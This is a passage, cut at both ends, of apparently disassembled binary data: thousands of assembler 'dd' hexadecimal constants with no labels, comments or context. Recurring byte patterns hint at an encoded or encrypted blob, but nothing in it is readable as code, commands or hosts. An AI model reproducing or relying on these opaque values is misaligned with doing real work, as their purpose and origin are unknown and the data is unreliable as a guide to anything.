2A6107BEh, 56DDFA76h, 0F534D8B2h, 9C412501h, 40352294h dd 3039AA7Ah, 2A000019h, 12894588h, 30A7235Ah, 0D8C4079h dd 1AA11D5Ah, 85833776h, 1A590B79h, 3576179Eh, 114C0279h dd 30651E9Dh, 0FCAF917Ch, 6BDA1446h, 327B419Eh, 0C8B3F7Eh dd 0D0AA1E53h, 7C47FBAEh, 0C39F6DCCh, 0BD5C1EA6h, 0E66D6D15h dd 856121FFh, 138F06Bh, 3C1514ECh, 0DA67FCD1h, 827F6C7Eh dd 0DBCBD97Eh, 32731695h, 1905E23Eh, 3C78F452h, 0C55C1794h dd 7B31CD20h, 0AAAD39h, 321F0000h, 39504479h, 0D2AC5897h dd 2E8D2D99h, 0E9FE995Eh, 0CCF1D842h, 93EE56Dh, 4D1DC655h dd 91856196h, 34469524h, 0FCE76C75h, 0BC8E8A67h, 0A35BE7A2h dd 5FBB943Ch, 686FD48Ah, 84875973h, 943CA33Eh, 5B7D5AD6h dd 0A6E12B0h, 6476F29Eh, 38F433D5h, 6BD00FC1h, 4036F6F3h dd 5400E9BDh, 4E000018h, 56E5599Ch, 34C377AEh, 61D8548Dh dd 3EBD71AEh, 998F4B8Ah, 0E4DFF6Dh, 296A1B9Ah, 458026B5h dd 24591289h, 0D0BBC5A8h, 6BDA1472h, 328F1592h, 0B18B3F7Eh dd 564A832Ah, 8D36FDDAh, 0C0458658h, 0F6999BF5h, 0A644FACFh dd 50447932h, 0A4679239h, 6DCC7C1Eh, 0E2567AF6h, 25CA767Dh dd 1C383CE8h, 34A4742h, 816A67FCh, 0C9234730h, 4002A974h dd 0A49423FAh, 0CBCFACC8h, 4AF4A34Fh, 0A99423FAh, 337E7B1Ah dd 13397BA4h, 0B9h, 31B81579h, 392739A2h, 0B794C982h, 0FC2057CCh dd 30F36F67h, 9D7FE987h, 0EEED0CA9h, 2DD42DDCh, 0B6B242A9h dd 9B7115A4h, 5FC3AFE4h, 4BB86683h, 6E1D2FACh, 78BE964Eh dd 19A0BAB6h, 3A1E3B74h, 0B3F49524h, 5F134EF4h, 0B66DE603h dd 954ECD81h, 0E423C5h, 0D94EC95Bh, 0C6CFC7AAh, 1767h dd 0BA6EB161h, 0DA4E853Bh, 0F16DA65Bh, 0D488C56Ah, 0E864A345h dd 0B0548602h, 8B3EBD71h, 63078E4Ah, 7E25B428h, 0A69A9549h dd 0DA155FE3h, 723AB76Bh, 5B4E7932h, 6DCC7CE7h, 7C942EDDh dd 0F4706DCCh, 504420FCh, 75875463h, 0FC03BDB6h, 24E75967h dd 9423849Eh, 62D6FA76h, 31B815C4h, 942739A2h, 0C098B5ECh dd 0FC2058C9h, 0FDAC7E67h, 9423A045h, 26A1C5A1h, 0AABC375h dd 64777E1Fh, 0F8629F8Ah, 57E2153Ah, 0AA867AB1h, 7F51CDCDh dd 0B3C809BCh, 0E4F7FEF3h, 42391F0Ah, 77C90B4Dh, 0F033EE4h dd 42DE6413h, 3A360B6Fh, 0CE754416h, 0ED962599h, 0E26F13B8h dd 1501D54Bh, 16AA84h, 0BF02A400h, 9DD48C0Bh, 0BAF39A21h dd 97D477FEh, 0B1F09423h, 81F30FFDh, 9D1C90CFh, 0A82FABECh dd 8413C702h, 3732A6DBh, 16FC4645h, 9B186BDAh, 5B04D711h dd 0E18A5126h, 0DC513FACh, 27FFB3E8h, 1666BEh, 6BAE6000h dd 89C068EFh, 669F46D5h, 83C063F2h, 5D9C50C7h, 6D9FEBE1h dd 39C07CBBh, 54E35798h, 40B773AEh, 0F3D65287h, 16A02209h dd 67446BDAh, 5C04D7DDh, 395C3825h, 0AE37AEFFh, 34692299h dd 77647340h, 8081A665h, 987D67FCh, 61481622h, 943C0CE1h dd 67442905h, 7D9FDF0h, 78528F34h, 3C7C3191h, 8459D594h dd 8F981EBAh, 67795388h, 7C309279h, 58D4943Ch, 201B8883h dd 22999E0Ch, 0B7EC936Fh, 6E8B67CBh, 46F5B0ACh, 7BBB68AEh dd 9FB12AC9h, 1C51FAC1h, 984D0C68h, 60A18A5Fh, 630CB3Dh dd 0F5A1DA8Fh, 54A15571h, 454416C5h, 36DC8767h, 0D7A9C39Fh dd 0E6895D04h, 5D79FDA9h, 23B0CDA9h, 493477Ch, 0C1C1265Bh dd 4FF8FB5Dh, 15914E57h, 0DB8B0000h, 0EF952498h, 0D07504B8h dd 0EF942397h, 0CD7FF6B2h, 0D02C1A8Eh, 0FBAFEEA2h, 0D488C97Ch dd 0F266A145h, 0D387BC63h, 9D25E4D8h, 796BDA17h, 4002B07Ch dd 0AD6DCC7Ch, 6DCC0C11h, 33FC48F6h, 9C11AD92h, 7D269233h dd 9CEB5752h, 0F0B9233h, 3CC68633h, 7C284C17h, 15366Bh dd 3B7E3000h, 1950F87Fh, 366F16A5h, 1350F382h, 2D6C2097h dd 1D4FBBB1h, 29B02C6Bh, 4934788h, 30A7235Eh, 0A3864277h dd 1050F299h, 37B46BDAh, 5E04D76Dh, 0D6F36F23h, 916B7087h dd 0FC7D559Ah, 0C875F167h, 4A07230Ah, 0E827B064h, 0E2000014h dd 0EA71ED30h, 0C84F0B42h, 0E574E821h, 0D2490542h, 7D6BDF1Eh dd 0F231D301h, 0CD0EBF36h, 0A9E48A11h, 0C8FDA635h, 64271914h dd 6BDA10DEh, 0D7F3B936h, 6E225F04h, 0A55ED5F2h, 5E058470h dd 6D4E7D29h, 0BF65F4D6h, 7C2B9792h, 4FCB6DCCh, 50A15673h dd 30336B2Ah, 47h, 7C44029Ah, 32D96DCCh, 0B358E3FDh, 3A9D8A76h dd 5C2725ACh, 76401D39h, 0B3FDF4CFh, 853DEC6Dh, 9A92688Ah dd 0CBC2BAF3h, 4C28DC17h, 0E6584C28h, 8AB111F8h, 0D9559268h dd 14514504h, 0F06B0000h, 85C26539h, 32C08C61h, 93D83B79h dd 155B87h, 0FCE11D83h, 163A8026h, 95D27544h, 0D772D0BBh dd 96926DCCh, 0E9F0C5C1h, 9B27E2FCh, 7B6DCCD7h, 0D74AF89Fh dd 3CE36DCCh, 67171B07h, 883AF10Bh, 6C6DCCD7h, 0FFAD4F0h dd 67FC80B6h, 0B58D450h, 2EDDEFECh, 9E0C63E5h, 0C2ABC5A1h dd 8A438814h, 1BE5D29Dh, 81024492h, 0F6959166h, 0E3A2164Fh dd 9E2CD65Ah, 4C0037EDh, 0EE017CDh, 0D68939F0h, 0F16D9E2Ch dd 0F5AB2ADCh, 0E675D2BEh, 73EE64Fh, 8C458853h, 26B53F8Ah dd 0BD33487Dh, 247h, 1EBD5C0Fh, 0CB77324Ch, 2B6DCC7Ch dd 43461A2Fh, 67FC0B4Ah, 3D6A884h, 0F67A265Dh, 0FEA625E1h dd 0DC8413C7h, 0BC7FF1A5h, 0F6ADCA07h, 9423FD48h, 47832201h dd 5A0B0106h, 203D0E23h, 2B6ED93h, 0B4EBA118h, 3FE564C0h dd 8392F308h, 0B4458658h, 16819F57h, 33F60ADFh, 9E135332h dd 25A450CCh, 0AF2A4483h, 34AABFFCh, 0D0C403A5h, 13333B89h dd 0C867389Eh, 0D488C769h, 5973686Fh, 10B25987h, 0F49E1333h dd 333B8782h, 7FDB9E13h, 549D8663h, 0F2942356h, 540B8A76h dd 0F49CDC84h, 59705FCEh, 3CF0D4F0h, 25D106BDh, 305CC76h dd 70AF6180h, 1F5F0584h, 5BEE5869h, 3DE90D6Bh, 0A3822182h dd 52CEC201h, 0AD44DB6Eh, 32A6DB84h, 0DAC6FDA3h, 22CE05BBh dd 0A4481365h, 98B5B165h, 1FC56C03h, 68A974E8h, 48459B41h dd 0BDh, 6A96D7C2h, 6608F180h, 8BC7754h, 4E0909C0h, 0EC080458h dd 0B0EFA138h, 5DF487C4h, 3DF130D4h dd 6B0C2F82h, 930F33h, 327D0000h, 39504479h, 3ADE5492h dd 89A7DF79h, 22C8936Dh, 80373BE7h, 9C988CCDh, 23C8BFBFh dd 835F944Bh, 7955F88Fh, 8AE69AD5h, 9928BA66h, 8221D6FAh dd 548942E3h, 923306D8h, 827A6C51h, 0FF945DE5h, 53DC35EAh dd 46BC336Ah, 0C2000000h, 2B6C1D9Ch, 0CCB2C67Ch, 25421E6Dh dd 1EBD5C9Fh, 19945D4Ch, 363267FCh, 4B0EF04Ah, 0C9AD599Ah dd 239F60E2h, 0C0474F94h, 0BFE5A90Ch, 0D415B8CFh, 9630DBF0h dd 75942333h, 6F42A73Eh, 4F397BDAh, 9Fh, 1EBD5CBDh, 266C5D4Ch dd 9E7A67FCh, 0F62DD3F2h, 0D60DB342h, 0BEF5AB2Ah, 18A375D2h dd 0FB474271h, 1B9423AAh, 7546233Fh, 0B2CFFCDEh, 2737A934h dd 0E99F1C31h, 3A24F6B2h, 230EF34Fh, 42171394h, 7BC3743Dh dd 465439h, 5CB60000h, 1F411BC0h, 0CF8F882Eh, 0C196A5C6h dd 0CC9258CAh, 0CEA07CEDh, 72B6E99Dh, 98B55BABh, 1FC594E6h dd 0AE1813E8h, 8CEDCCEAh, 0F5015EF5h, 8D1514E6h, 296DCCEAh dd 0EAEE5457h, 2A066DCCh, 10119246h, 6B000000h, 675396D7h dd 77B4F10Ch, 53E762h, 0D7550000h, 6661ED96h, 2F4C711Ch dd 0BCEFDA4h, 0B671B58h, 0CC8FA61Ch, 0FEE23E6Dh, 96CD7312h dd 1BED9322h, 0A2DB9266h, 724E72EEh, 79997358h, 0A121C5C6h dd 0CC1858EAh, 8460BC6Dh, 0B14AB767h, 0A813422Eh, 496DCC18h dd 935E9B3Ah, 73336AD1h, 0BDDh, 1CC35CD9h, 1ED51668h, 0A856398Ch dd 7F4E3512h, 8E9B63C2h, 529B5EF5h, 0C2BD156Ch, 0CA55ED9Ch dd 0B5B11B99h, 3A3098h, 5C9A0000h, 9421CC3h, 0DA2EAC2Dh dd 8B6D8A39h, 0CCE722A0h, 0CBBEA06Dh, 6DCCE777h, 0C4B6938Fh dd 1DC39668h, 21363AE6h, 0D2723665h, 6211BB58h, 68CB26C3h dd 8CABDCDEh, 21000002h, 8E1CC35Ch, 7932BA12h, 522E7644h dd 0F6AAE187h, 0D7C75D7Ah, 7C4002A9h, 0C8A46DCCh, 2231ECB3h dd 3C11366Bh, 2F000000h, 7C23F3ACh, 0FBD75B47h, 0C35C46DEh dd 93E4A13h, 587CB9E0h, 0D310B386h, 9E26431Fh, 7C6BD4D7h dd 0C836DCCh, 0A3E08353h, 734F73EFh, 32F5D7A5h, 4274427Bh dd 30408Ah, 5C8C0000h, 0D78E1CC3h, 0CC7C6BD4h, 0E7B5A16Dh dd 3EF96D7h, 0D74B8968h, 324CDE02h, 0C506A77Bh, 4D71BA1h dd 0C081761h, 9B82CD4Fh, 9267CBB7h, 450233D9h, 0DA06A1EAh dd 0FBE5F736h, 0B886A7D2h, 1302A166h, 0B55EB0AFh, 0B0DC6625h dd 3C38B55Eh, 4B13E844h, 647EA71h, 8CC16AF1h, 438226ADh dd 8A291864h, 4BFF4ABh, 560CDC83h, 0B870671Bh, 0AA816581h dd 0DA67714h, 0C3F8AF76h, 0ABE08700h, 29640AD1h, 0BC706754h dd 9A254687h, 0BEABE69Ch, 0E9FE905Eh, 5E6F8542h, 260561B5h dd 69C8675Ah, 0F6CA8DC2h, 94E2CBF5h, 0E502CA5Eh, 877BBA6Eh dd 62E0CBB5h, 82B55E97h, 6DD5D4A6h, 89B55E97h, 0AAE6D0ADh dd 89A847D6h, 0A534A8E7h, 0E9F2C9FEh, 97803D47h, 7D3CB55Eh dd 0C9B98EC9h, 84FACE6Dh, 62F4FD47h, 4E2BAF31h, 984FD66Dh dd 0C067E063h, 7E06AC8Bh, 0CA6B0AB9h, 0D912EC21h, 4EEEB46Dh dd 7E390E6Dh, 229CA9A2h, 4914FBFh, 4C59CEFEh, 1F3C18AFh dd 0DFB6EB94h, 0DBF534D8h, 4B70A960h, 22B50EA6h, 8A3146D4h dd 85AC43FEh, 522EA9DEh, 8BC57D2Ch, 0B45AB55Eh, 0F9A98D79h dd 0F2507Dh, 9128CF65h, 7932F0BCh, 6E127644h, 50CB077Dh dd 51C99996h, 7A11021Dh, 5655274Bh, 6DCC9FECh, 754F2C08h dd 8D1BC05Ch, 393296D7h, 9651CA29h, 0D766F6C1h, 70245D04h dd 569135F4h, 22437E81h, 28B3366Bh, 0BE324782h, 49h, 80C05C0Ch dd 0E5B38FCAh, 580B96D7h, 9023CC54h, 92BBA5BBh, 75AEDDADh dd 0B770E7DEh, 1BE6582h, 0DD6DCC7Dh, 0F5D7BB81h, 75437A32h dd 0CA7B3E42h, 0D7D87489h, 9A34C196h, 0FFECA174h, 50B8D5A3h dd 72EF0C4Dh, 42h, 25C05CCAh, 0C6B5F096h, 6DCC7C7Ch, 0F2B89C98h dd 235E04D7h, 2D6F36Fh, 0CC7CBE07h, 0ECFE766Dh, 937FB86Dh dd 0D7F2BA8Fh, 5E04D7F5h, 0D6F36F23h, 5E70A75Dh, 68AC616Dh dd 0B25D8ABFh, 0BA1B65Ch, 96D78A42h, 0A3406817h, 0FFACC12Ah dd 6DCCBB38h, 0FD13359Eh, 287FFFFh, 6DCC7C44h, 69E5FA03h dd 0BDF93BF2h, 0F7429E6Dh, 0D8523E22h, 24BF0306h, 0DB576DCCh dd 24BD05FEh, 0DC926DCCh, 30D6F5A1h, 24B60CFFh, 0D24E6DCCh dd 0E18302EEh, 0D772EEA2h, 7E2DA948h, 6DCC24C4h, 0B6204420h dd 8BD64FBh, 24DC5BCFh, 81471EDh, 71559438h, 9735D685h dd 620A23B6h, 0AC60772Bh, 9D06B96Dh, 77C9BA06h, 0EA043DE4h dd 6679833Fh, 0F20763D0h, 7637B251h, 5675C124h, 221h, 7C4502B4h dd 0BC7F6DCCh, 0F9B0CA07h, 6DCC7C49h, 499CB1ADh, 6C1F31AAh dd 67FC1847h, 75BFB09Dh, 0E6508294h, 99151111h, 3E326B22h dd 0B66AA147h, 0F197691Fh, 122E6D1Fh, 32DE025Eh, 0CBA536BDh dd 13694BE0h, 5AFF5B9Eh, 4037B986h, 548B1C08h, 4E00000Dh dd 56E5599Ch, 34C377AEh, 61D8548Dh, 3EBD71AEh, 998F4B8Ah dd 0E4DFF6Dh, 296A1B9Ah, 458026B5h, 24591289h, 0D0BBC5A8h dd 6BDA0F72h, 0D78F1592h, 48255C04h, 0F39FD48Bh, 5CDBF7FEh dd 906BFBD8h, 5B923AF1h, 0D5A7CBA7h, 0F6139BD6h, 25373367h dd 2B6EF96h, 54FACE73h, 0F7096D19h, 26F08E34h, 0E60A6694h dd 689F4514h, 4BF49393h, 6F1A4416h, 9426F0D3h, 64223733h dd 7953888Fh, 1685B192h, 74D9559Eh, 4032A34Ah, 0C4A730E4h dd 0BE00000Ch, 8615C90Ch, 0A433A7DEh, 9108C4FDh, 0AE2DA1DEh dd 9FFBBFAh, 9EDD8FFDh, 0B9FAAB2Ah, 95D07605h, 0B4E9A219h dd 802B15F8h, 6BDA08C2h, 32FFC522h, 0AF2A4479h, 467F26FAh dd 0A95F762Ah, 0BEA27E72h, 0B883FDA9h, 482CD811h, 0FD43D233h dd 1651146h, 9D500BE5h, 87597F5Ch, 5F39F846h, 0EAFF8C61h dd 0FCAFFC41h, 0BC8E8A67h, 0EF0C4BFDh, 237F067h, 1DAF946h dd 0E0B66CEFh, 2105F128h, 0F8D55145h, 745329E0h, 37339E06h dd 4EB12825h, 0C91D97A6h, 580DCCB4h, 52C08229h, 3F249E16h dd 35EC8767h, 90472B63h, 8C4A0D9h, 0EFA3DC91h, 0E0FA2FD8h dd 7E1AE1EBh, 7A318F9Ch, 5A4C2145h, 738D4E65h, 26108BB8h dd 4AEF6B94h, 5E22D66Ah, 0F0871004h, 0EA00000Bh, 0D2490548h dd 0F067E31Ah, 0CD4C0039h, 0DA61DD1Ah, 4543F736h, 0DA19CB39h dd 0F536D75Eh, 0D10CC239h, 0F025DE5Dh, 0BC6F513Ch, 6BDA0906h dd 323B01DEh, 63504479h, 0B6758754h, 67FC16ADh, 4813ED49h dd 0B7BB67A2h, 0EF0C4D00h, 6638F067h, 0FB9A86BFh, 5320E45h dd 0B3EF7764h, 1995B1CFh, 98B2EBA2h, 0F6996B21h, 0F6C09DB9h dd 1EBD5C70h, 2C5C5D4Ch, 0EE6A67FCh, 6EA95DDCh, 0DDCC9E82h dd 9423AC65h, 0D6C8A581h, 23AC378Fh, 69DD694h, 7B660AE3h dd 82EA39h, 32600000h, 384F437Ah, 2EAD5990h, 51483C79h dd 9BE8649Bh, 0E61BC47Ch, 401A363Ah, 0FC0E4C49h, 3DF16867h dd 58552F9h, 0EFD31791h, 2B4328DAh, 917D2888h, 6C6207EBh dd 224A077Eh, 0B196172h, 73130000h, 47FD7C30h, 681D9C10h dd 47FC7B2Fh, 25C74E0Ah, 87472E6h, 43F736DAh, 5CD011B4h dd 3AEE29DDh, 5BCF04BBh, 259D8C70h, 0C16BDA0Ah, 4D758E4h dd 2A5245Dh, 752BA8C5h, 54198A3Eh, 73000000h, 4F437A32h dd 76885362h, 0FC1226B3h, 0BB6EC067h, 94239607h, 0FA5F83DFh dd 4A0737CEh, 0B4C3D4C0h, 0AE00000Ah, 7605B9FCh, 942397CEh dd 81F8B4EDh, 9E1D91CEh dd 392FABEAh, 0AEED9FCDh, 89CA7BFAh, 65A046D5h, 84B972E9h dd 30DBE5C8h, 6BDA0A92h, 0D7AF7572h, 0A5245D04h, 29B2C700h dd 4D334D82h, 0CC7CE45Eh, 4724006Dh, 52874057h, 5B7C5378h dd 41961BDBh, 6C4B7A2Ch, 4ABD10D5h, 489D336Ah, 0EF000002h dd 225F04D7h, 9D4C7145h, 0ABC516h, 67FC2063h, 7B2CA783h dd 88987824h, 37499221h, 0A4318F74h, 16156761h, 6D8457ACh dd 0F608EC48h, 2A7CBE63h, 0FBF2350Eh, 0CAA65A76h, 0F504F1ADh dd 0A14514E6h, 0A1B6BA66h, 0CCBFA1BFh, 6D843976h, 0CEB5928Eh dd 67B3C4EEh, 1E401A16h, 5FF4F42Dh, 0ACC188A3h, 2943782Fh dd 0DDCCFBB2h, 97F8C865h, 0ACC1A581h, 0C7FCA332h, 0DC699022h dd 3DA67E49h, 9D3h, 5EDA1DCDh, 3EFA31D7h, 65D912B7h, 38F431D6h dd 5CD00FC1h, 2CE0126Eh, 47EA71EDh, 1FC35206h, 3AF168E4h dd 5A664905h, 0DA0B13AFh, 2EF6F36Bh, 4D3A7A32h, 0E5020E3Eh dd 98927E62h, 4A8F28B3h, 0CC6CE35Fh, 4227036Dh, 0F9CE2696h dd 0BC8E4D6Ch, 59D6A9A2h, 22B24689h, 3C685E45h, 0F87467F6h dd 8B41F8E6h, 0A7C4A054h, 8438792Ch, 5F1354F5h, 8A38F30Dh dd 6A942604h, 6D8CD9EEh, 10AD5C6Eh, 0EE9E165Fh, 30E15872h dd 9F0DDEFh, 5DCB4EBDh, 7FF6C09Dh, 2998DCEh, 35A71449h dd 0FB403252h, 92DBA2Bh, 87270000h, 5B118844h, 7C31A824h dd 5B108743h, 792BAA1Eh, 7C887E3Ah, 9F1B5A0Eh, 78347518h dd 96124D01h, 7733681Fh, 4101A894h, 0A56BDA04h, 0CBE07C48h dd 6DCC7C6Fh, 4B8F26DDh, 0E99DDC90h, 0EB087084h, 0FBD7E391h dd 1CBB48DEh, 0D8D3ADBFh, 6DCC4F6Ah, 154EF38Ah, 0CE10561h dd 9B4F0AF4h, 9BB0B460h, 0FC1457F0h, 99B3AF67h, 76326B22h dd 73CFBAA4h, 93943C74h, 9423C297h, 0C383547h, 1BA76279h dd 0FB943CD8h, 61E63A1Fh, 9497697Eh, 9E0AD288h, 0AF2A4420h dd 9007C3F8h, 266507D7h, 0B909007Ah, 5D9E11B5h, 5C01E501h dd 4035144Eh, 78435440h, 72000008h, 3AC17DC0h, 58DF5B92h dd 35C478B1h, 62D95592h, 0CDBB6FAEh, 62A143B1h, 7DBE6FE6h dd 59943AC1h, 78AD56E5h, 34F7C9C4h, 6BDA048Eh, 2C38966h dd 6DCC7C44h, 41FD32D9h, 0F406D5E4h, 9B87C065h, 0EB9EC297h dd 67FCCAD6h, 441A3430h, 23CDFD45h, 431D1994h, 23CDFA48h dd 293E1A94h, 0A3DE8457h, 0BFFAB027h, 80DC2D3h, 5C3A0000h dd 324C1EBDh, 0CC7CCB77h, 1A2F2B6Dh, 186E4346h, 0CCA867FCh dd 983591D8h, 9BD89423h, 5210E104h, 76F0397Bh, 5A000001h dd 55417C32h, 9E529336h, 314B8027h, 7CE65C4Fh, 22FE6DCCh dd 8C425945h, 0A85EDD51h, 0B24CB96Dh, 0A258532Dh, 426DCC7Ch dd 19A83AE6h, 32D9607Ah, 4E72AB62h, 32A9BEA2h, 0E8D417Ch dd 1D431D58h, 0CC7CD46Eh, 1734306Dh, 7D8E4067h, 0E59C6DCCh dd 843E74Eh, 0F2EDEF54h, 838931D8h, 725B9233h, 0C68556D6h dd 114AFF62h, 10621835h, 0BB6AA549h, 9233E707h, 0B35F83DFh dd 5EE4A7B9h, 0B69233E7h, 0E45FBBAh, 72E9FE62h, 4BCA7EBFh dd 0D3AD599Ah, 762A5F08h, 0E7BD0504h, 0DD599233h, 9E24E7F9h dd 769233E7h, 0AD56DDFAh, 671A8C78h, 0ECC869C8h, 0A047FE33h dd 97BBB76Bh, 7D4DF6C5h, 80E490C7h, 7819B064h, 783E1B37h dd 0CD745001h, 0EFC4B094h, 5939EAE8h, 76C9EE1Ah, 18B9805Ah dd 35472BD7h, 3367CC76h, 2F4C2892h, 0A6D6249h, 0FD799803h dd 0D617BA41h, 9C43D52Ah, 7A67C7C2h, 0BE7D9423h, 9F9CE07h dd 7E2D532Dh, 94237AC4h, 77274420h, 0F63FD66Dh, 0E99D1C53h dd 7A7BC7AEh, 92799423h, 94237A30h, 0CCA858D4h, 371B5C0Dh dd 0B2F39625h, 0F79A2195h, 0E970CAB6h, 1A160A45h, 0B919A03Dh dd 98FBEF58h, 0DAF4D0B5h, 0AB5FDA04h, 0F9A08470h, 94235B49h dd 51FAB1ADh, 0BB443F1Ch, 539E1323h, 0C27963D7h, 5493350Dh dd 0CBA08470h, 0A01C5D10h, 7E3A7519h, 1EBD5CE8h, 1A7324Ch dd 7D5AD6CAh, 0FC2B3986h, 0AD59D567h, 44FEADD3h, 0A09423ADh dd 266105C4h, 5AE1F67Ah, 3C8685B2h, 0D89423ADh, 6566785Ch dd 309523CAh, 9F173424h, 25C05C09h, 0CFB6EF96h, 6DCC7C73h dd 0C7BB9793h, 0CC7C26A0h, 17AEC56Dh, 6B35FFD2h, 0A97E6F33h dd 25D4B2BDh, 1DF96F8Ch, 53000000h, 4F437A32h, 0CC7CBA08h dd 7211A06Dh, 62D60DB3h, 0CC215FA3h, 0BA5A0B6Dh, 0B2FFFFFFh dd 76447932h, 4D7CFFDh, 0B548255Ch, 35ECBA21h, 222BF697h dd 3F0B366Bh, 81000000h, 8D1BC05Ch, 7C6ED4D7h, 0AA866DCCh dd 32A9D71Ch, 0A02C417Ch, 75437A32h, 0A9D78A42h, 0CC7C4002h dd 0EE29DD6Dh, 0A8E387FEh, 0DD5C78FCh, 1F03EF28h, 3E9F4Ah dd 1AA10000h, 0EA463A73h, 0C05C370Dh, 0D4D78D1Bh, 6DCC7C6Eh dd 0F82FD564h, 9ED98D0Ch, 0C813A5C2h, 3D0BE722h, 7F32A9D7h dd 0D7A3293Eh, 51265B04h, 1DABE28Ah, 4002A9D7h, 0A46DCC7Ch dd 9038B3C8h, 4E427B32h, 0CC7CBB07h, 7312A16Dh, 6C2FBB2h dd 0C2ED3734h, 0FE956672h, 1A0F42E9h, 3AAB6DCCh, 0FFFFF3D3h dd 0F396D792h, 19656CFBh, 0AF55DEFBh, 91786678h, 6DCCE631h dd 0D005BED5h, 47244024h, 38A3328Fh, 84C26326h, 0E03C67FCh dd 4D96534h, 873C943Ch, 0B1C40DE8h, 14A4397Ah, 0E6000000h dd 0E40h, 6B1E4000h, 6DCC7CD7h, 9686C368h, 5CE7BD9Ah, 0A3E083BDh dd 7D4F73EFh, 7D3109BEh, 0EE721E42h, 0CF0407D9h, 8767FC1Fh dd 0A14CF6B5h, 0CCA89423h, 27DDFCA8h, 4F8D3CF0h, 0D59423A1h dd 4B256006h, 23A1E260h, 51260294h, 97A0E48Ah, 66DCCF9Eh dd 7E942354h, 0C0FB5A2h, 855B7551h, 23283C86h, 235C1194h dd 73AE546Bh, 0AABFA37Fh, 0C601A534h, 0AFC49EDAh, 0EB47D14h dd 0B68557D3h, 4420D411h, 0BEF3AC27h, 237F0E7h, 26275923h dd 0A6BF2A98h, 2A1B677h, 0D409C263h, 0CE4E7F51h, 1152F38Ch dd 0FBDC0165h, 0C08C61FFh, 0EB221BF6h, 0E0FB30h, 5C510000h dd 0D78F1DC2h, 0CC7C6BD4h, 0E7B5A16Dh, 0ADC4A9D7h, 80DFAAAEh dd 0AD2A9893h, 4ECA6DCCh, 199D4572h, 224842B6h, 771A7F45h dd 348E7D63h, 0AE6DCC7Ch, 0CC7C47FBh, 0CBC39F6Dh, 7C10B259h dd 78F46DCCh, 32A57F5Ch, 0FD764479h, 1BC05CCFh, 0C4A9D78Dh dd 59DC7D7Fh, 0DA680F1Ch, 3A6DCCF1h, 6B5509DEh, 0F12C9695h dd 6CC86DCCh, 4D7B58Fh, 0F36F235Eh, 21E021D6h, 41C0366Bh dd 0A000000h, 0CB80C05Ch, 2E1251F3h, 0E802DE42h, 78EB4D03h dd 87EB97D2h, 0ACFCB462h, 0D4D7F5CFh, 6DCC7C6Eh, 22590F86h dd 48CEF26Eh, 7A32F5D7h, 8A427543h, 4002A9D7h, 0A46DCC7Ch dd 1636B3C8h, 86000000h, 8D1BC05Ch, 7C6ED4D7h, 0B0A46DCCh dd 32F5D7EAh, 4275437Ah, 5B04D78Ah, 0E1F67A26h, 0FFFF1768h dd 7932D4FFh, 92395044h, 7584E15Dh, 0B4959466h, 5267FC11h dd 0C37B2AD6h, 22942396h, 0B6F7F291h, 96397B3Fh, 3Ch, 1EBD5CF4h dd 7C745D4Ch, 0FB9267FCh, 25170B48h, 3C7CDC66h, 183C3894h dd 0A521483Ch, 7A943C7Ch, 0A4BFED4h, 0E59B3AE6h, 0F685C2AEh dd 0EB88715Fh, 36409154h, 0EA20397Bh, 6A000000h, 50447932h dd 0AC589739h, 246599D2h, 6DB8FBF6h, 0E9FE37EEh, 47E9B972h dd 9581B66Dh, 0CAC1B591h, 0EB07EB22h, 0B2E7A037h, 336C2198h dd 0E490D174h, 34F36B80h, 6DCC22D6h, 4F0B40E7h, 53AF806Dh dd 0AEE6C0A4h, 0CC7347FBh, 9FC39F6Dh, 255A11CAh, 36CEFF71h dd 0CEBB1D30h, 0A62DD0ADh, 76451B35h, 0CCB794D1h dd 67FC360Fh, 1DFFBBB7h, 5AFA4843h, 351A943Ch, 66197E3Eh dd 9DE0201h, 6C7E5D7Ch, 0E724C792h, 6922373Bh, 9E0AFF51h dd 14A7B9B5h, 0FE7D3170h, 7FBA704Ah, 6B38F93h, 40354EE2h dd 600F988Ch, 5A000002h, 42B975B8h, 60D7538Ah, 3DBC70A9h dd 0A914D8Ah, 0B5B32766h, 2A691B49h, 458627AEh, 215C1289h dd 40752EADh, 0EC9FA18Ch, 6BDA0256h, 326B31AEh, 402D3F7Eh dd 95D7A184h, 40F6D3A9h, 61DD12B9h, 1EBD5CCBh, 0CB77324Ch dd 2B6DCC7Ch, 9ACF782Fh, 0F6C59BBDh, 8CC77B4Fh, 0CCB89C98h dd 0BB989368h, 3967FC7Ch, 0B794C982h, 0ECBB67C3h, 94238352h dd 866302B1h, 397B372Bh, 0D80Bh, 1A63500h, 321DA7C4h, 39504479h dd 0D2AC5897h, 7C45FDACh, 0B16C6DCCh, 0AB65AE9Fh, 4E2B07F7h dd 0CCC6B555h, 0ACE18A6Dh, 79304E30h, 6DCCBEC9h, 9F1C312Dh dd 0F2BFB3E8h, 23E6F8E3h, 67FCCDE6h, 934BBBA0h, 0DDA87F08h dd 0D9E045F9h, 572E04F9h, 0EDA1402Ch, 98B28EB2h, 161849B3h dd 1C31E92Fh, 0EB9F1A44h, 4673CFBAh, 9793943Ch, 34E59EBBh dd 0D29E0A8Bh, 13B58456h, 25E4FAD4h, 9E11F99Dh, 74A96279h dd 0AEC0A480h, 11F947FBh, 0A6C39F9Eh, 0C807A930h, 3558EB23h dd 68712540h, 143h, 8E4A8D3Dh, 0AE2A6107h, 95498227h, 0A8246106h dd 8C407F31h, 3CF0629Eh, 17BA41FDh, 2FD362D6h, 0AC138F4h dd 8A7659D5h, 0DA03239Fh, 5EE6C36Bh, 8B3F7E32h, 0AA1E530Ch dd 4479321Ch, 67923950h, 7C309279h, 58D46DCCh, 0CC7C11B1h dd 8883F56Dh, 6DCC7C3Ah, 7E627EDAh, 7D5E75CAh, 271FA863h dd 98D567FCh, 8AC6FC91h, 6DA5D1BAh, 498E17B6h, 0CE4A502Dh dd 9B27E2FCh, 7B94238Dh, 4980289Fh, 0D68D4C34h, 0F5AE2DA1h dd 0D8DFD4C0h, 3442E903h, 0D09E1911h, 0F117AB5Eh, 73EF9E15h dd 509AEA4Fh, 144031h, 9A97h, 0AFF29400h, 8DC47CFBh, 6AA34AD1h dd 87C467EEh, 61A044D3h, 5183FFEDh, 6DEC609Fh, 38BF7BBCh dd 54E35792h, 0C7C276ABh, 0FC8C36F5h, 8B686BDAh, 1EBD5CC1h dd 0E05D5D4Ch, 0D6967F6h, 0A41E0DF3h, 409425E0h, 0B86CA349h dd 6A2198BCh, 14661835h, 19CCA045h, 2C482CD8h, 54DFFC78h dd 33C276ABh, 0FCAB578Ch, 0C646447Bh, 0C160FFA0h, 40FBD50Ah dd 0C0A45089h, 0FBA433ABh, 7E60DAC6h, 